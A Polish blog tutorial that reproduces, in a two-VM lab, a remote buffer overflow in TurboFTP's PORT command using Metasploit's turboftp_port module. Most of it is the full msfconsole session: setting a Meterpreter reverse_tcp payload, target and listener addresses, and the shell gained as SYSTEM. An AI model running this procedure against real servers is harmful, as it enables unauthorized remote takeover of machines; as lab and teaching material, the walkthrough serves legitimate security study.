Poniższy tekst ma służyć wyłącznie celom edukacyjnym i jego autor nie odpowiada za ewentualnie niewłaściwe wykorzystanie zawartych w tym tekście informacji.
Niedawno, niedawno temu…
Była mowa na różnych portalach o 0day Exploicie na TurboFTP Version 1.30.823 który też działa na TurboFTP Version 1.30.826.
W skrócie mówiąc: podatność polega na przepełnieniu bufora w poleceniu PORT przez co można uruchomić zdalny kod w kontekście użytkownika SYSTEM.
Dzisiaj postanowiłem zobaczyć na własnej skórze czy ten exploit działa i jak…
Przygotowałem 2 VM, jedną z Windows XP, druga z Naszym Backtrack.pl 5 R3 Premium Clean.
Opis całej zabawy poniżej:
Przypominam, że:
Poniższy tekst ma służyć wyłącznie celom edukacyjnym i jego autor nie odpowiada za ewentualnie niewłaściwe wykorzystanie zawartych w tym tekście informacji.
WINXP:
Informacje:
Microsoft Windows XP [Wersja 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.C:\Documents and Settings\Administrator>ipconfigKonfiguracja IP systemu Windows Karta Ethernet Połączenie lokalne:Sufiks DNS konkretnego połączenia : Adres IP. . . . . . . . . . . . . : 192.168.11.105 Maska podsieci. . . . . . . . . . : 255.255.255.0 Brama domyślna. . . . . . . . . . : 192.168.11.1C:\Documents and Settings\Administrator>
Przygotowanie:
Na początku należy ściągnąć TurboFTP Version 1.30.826 np. tu: http://download.cnet.com/TurboFTP-Server/3000-2160_4-10916180.html – po lewej stronie jest „Direct Download Link”
Instalacja TurboFTP:
Polega na klikaniu Next… Next… i Ustawieniu nazwy „super użytkownika” i hasła – za chwilę będzie potrzebne do zarządzania FTP.
Stawianie TurboFTP:
- Należy odpalić TurboFTP
- podwójne kliknięcie na Local Server
- logowanie przy pomocy danych „super użytkownika”
- Manage -> Add Domain Wizard – należy nadać jakąś nazwę i wybać IP z listy i dalej, dalej…
- następnie Manage -> Add User Wizard – nic nie wpisywać tylko zaznaczyć pole Anonymous, dalej, dalej…
- uruchomienie FTP-a – należy wybrać Manage -> Start Domain -> All domains
Po tych krokach można zapisać IP (192.168.11.105) i przejść na sesję Backtrack.pl 5 R3 Premium Clean.
BT5R3 PREMIUM:
Informacje:
root@premium:~# ifconfig eth1 Link encap:Ethernet HWaddr 00:0c:29:9b:7f:41 inet addr:192.168.11.102 Bcast:192.168.11.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe9b:7f41/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1131 errors:0 dropped:0 overruns:0 frame:0 TX packets:734 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:726049 (726.0 KB) TX bytes:211667 (211.6 KB) Interrupt:19 Base address:0x2000lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:64799 errors:0 dropped:0 overruns:0 frame:0 TX packets:64799 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:28867174 (28.8 MB) TX bytes:28867174 (28.8 MB)root@premium:~#
Metasploit:
Zgodnie z dobrymi praktykami przed odpaleniem Metasploita należy zrobić jego update:
root@premium:~# msfupdate [*] [*] Attempting to update the Metasploit Framework... [*][*] Deprecation Note: The next version of Metasploit will [*] update over the git protocol, which requires outbound [*] access to github.com:9418/TCP. [*] Please adjust your egress firewall rules accordingly. Updating '.': (...) U data/gui/msfgui.jar A data/wordlists/sap_default.txt A data/ropdb/samba.xml A plugins/alias.rb Updated to revision 16105. root@premium:~#
Odpalenie Metasploit:
root@premium:~# msfconsole, ,/ \((__—,,,—__))(_) O O (_)_________\ _ / |\o_o \ M S F | \\ _____ | *||| WW|||||| |||=[ metasploit v4.5.0-dev [core:4.5 api:1.0] + -- --=[ 985 exploits - 541 auxiliary - 162 post + -- --=[ 262 payloads - 28 encoders - 8 nopsmsf >
W Metasploicie jest kilka bardzo przydatnych poleceń, jedno z nich to search które zostało poniżej wykorzystane do wyszukania Exploita:
msf > search turboMatching Modules ================Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/ftp/turboftp_port 2012-10-03 00:00:00 UTC great Turbo FTP Server 1.30.823 PORT Overflow msf >
W związku z faktem znalezienia Exploita można go wykorzystać :
msf > use exploit/windows/ftp/turboftp_port
Jako Payload zostanie wykorzystany Meterpreter, jest to bardzo rozbudowany Payload o którym można poczytać tutaj -> http://www.offensive-security.com/metasploit-unleashed/About_Meterpreter
msf exploit(turboftp_port) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp
Po wybraniu Exploita i Payloadu czas na zerknięcie co jeszcze brakuje:
msf exploit(turboftp_port) > show optionsModule options (exploit/windows/ftp/turboftp_port):Name Current Setting Required Description ---- --------------- -------- ----------- FTPPASS mozilla@example.com no The password for the specified username FTPUSER anonymous no The username to authenticate as RHOST yes The target address RPORT 21 yes The target portPayload options (windows/meterpreter/reverse_tcp):Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST yes The listen address LPORT 4444 yes The listen port Exploit target:Id Name -- ---- 0 Automatic
Jak widać powyżej brakuje informacji o RHOST oraz LHOST, dodatkowo przydałoby się zmienić LPORT na jakiś ciekawszy :
msf exploit(turboftp_port) > set RHOST 192.168.11.105 RHOST => 192.168.11.105 msf exploit(turboftp_port) > set LHOST 192.168.11.102 LHOST => 192.168.11.102 msf exploit(turboftp_port) > set LPORT 55332 LPORT => 55332
Po zmianach ostatni rzut okiem na całość:
msf exploit(turboftp_port) > show optionsModule options (exploit/windows/ftp/turboftp_port):Name Current Setting Required Description ---- --------------- -------- ----------- FTPPASS mozilla@example.com no The password for the specified username FTPUSER anonymous no The username to authenticate as RHOST 192.168.11.105 yes The target address RPORT 21 yes The target portPayload options (windows/meterpreter/reverse_tcp):Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST 192.168.11.102 yes The listen address LPORT 55332 yes The listen port Exploit target:Id Name -- ---- 0 Automatic msf exploit(turboftp_port) >
Wygląda, że jest OK więc czas na Explo... hmmm a może warto sprawdzić czy host docelowy jest podatny na tego Exploita...
Przy niektórych Exploitach można wykonać polecenie check które może pomóc w weryfikacji czy nasz "target" jest podatny:
msf exploit(turboftp_port) > check [+] The target is vulnerable. msf exploit(turboftp_port) >
Podatność została zweryfikowana (i pewnie działa ) więc pora na jej wypróbowanie:
msf exploit(turboftp_port) > exploit[*] Started reverse handler on 192.168.11.102:55332 [*] Automatically detecting the target [*] Selected Target: Windows Universal TurboFtp 1.30.826 [*] Connecting to target Windows Universal TurboFtp 1.30.826 server [*] Sending stage (752128 bytes) to 192.168.11.105 [*] Meterpreter session 1 opened (192.168.11.102:55332 -> 192.168.11.105:1063) at 2012-11-21 19:33:22 +0100 [*] Egghunter deployed, locating shellcodemeterpreter >
Jak widać, po wyexploitowaniu powstało połączenie (session 1) gdzie można się bawić:
meterpreter > ipconfigInterface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 Interface 2 ============ Name : Karta AMD PCNET Family PCI Ethernet - Sterownik miniport Harmonogramu pakietów Hardware MAC : 00:0c:29:a2:99:5b MTU : 1500 IPv4 Address : 192.168.11.105 IPv4 Netmask : 255.255.255.0meterpreter >
That’s all…
Jak są jakieś pytania to zapraszam na Nasze Forum
Więcej o samej podatności: http://secunia.com/advisories/50595/
Więcej na temat Exploita z Metaspoita: http://www.metasploit.com/modules/exploit/windows/ftp/turboftp_port